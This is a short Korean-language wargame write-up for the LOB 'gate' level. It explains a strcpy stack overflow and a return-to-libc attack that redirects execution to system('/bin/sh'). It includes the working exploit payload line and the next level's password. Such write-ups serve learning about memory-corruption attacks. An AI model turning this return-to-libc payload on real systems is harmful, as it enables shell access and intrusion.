[LOB] gate
strcpy에서 bof 취약점 발생
공격 계획
buffer[256] + main's ebp[4] + main's ret(change to system addr) + system's ret[4] + shell(/bin/sh)
library에 있는 system 함수의 주소와
/bin/sh의 주소가 필요하다
한 가지 설명하자면
다음과 같이 인자가 있는 함수에서는 스택이
a[4] + ebp + ret + arg 로 쌓인다
이를 system 함수에 적용시키면
ret + 'system 함수의 인자값' 으로 된다
/bin/sh 앞에 넣을 4byte는 system 함수의 ret를 덮기 위함이다
고로 공격 계획을 다시 생각해보면
ret를 system함수로 돌리고 system 함수의 인자값을 /bin/sh로 해주면 쉘 획득이 가능한 것이다
gdb를 사용하여 system 함수의 주소를 알아낸 뒤
다음과 같이 /bin/sh를 구하면 된다
./gremlin ``python -c 'print "A" * (256+4) + "\xe0\x8a\x05\x40" + "A" * 4 + "\xf9\xbf\x0f\x40"'``
gremlin / hello bof world
한가지 궁금한점..
buffer에 /bin/sh를 입력하고
해당 문자열이 있는 주소를 system함수의 인자값으로 주면.. 안되나..?
해보긴 했는데 잘 안되는걸 보니 안되는거 같기도 하고 궁금하다..
원래는 이렇게 하려 했으나 잘 안 돼서 위와 같이 했다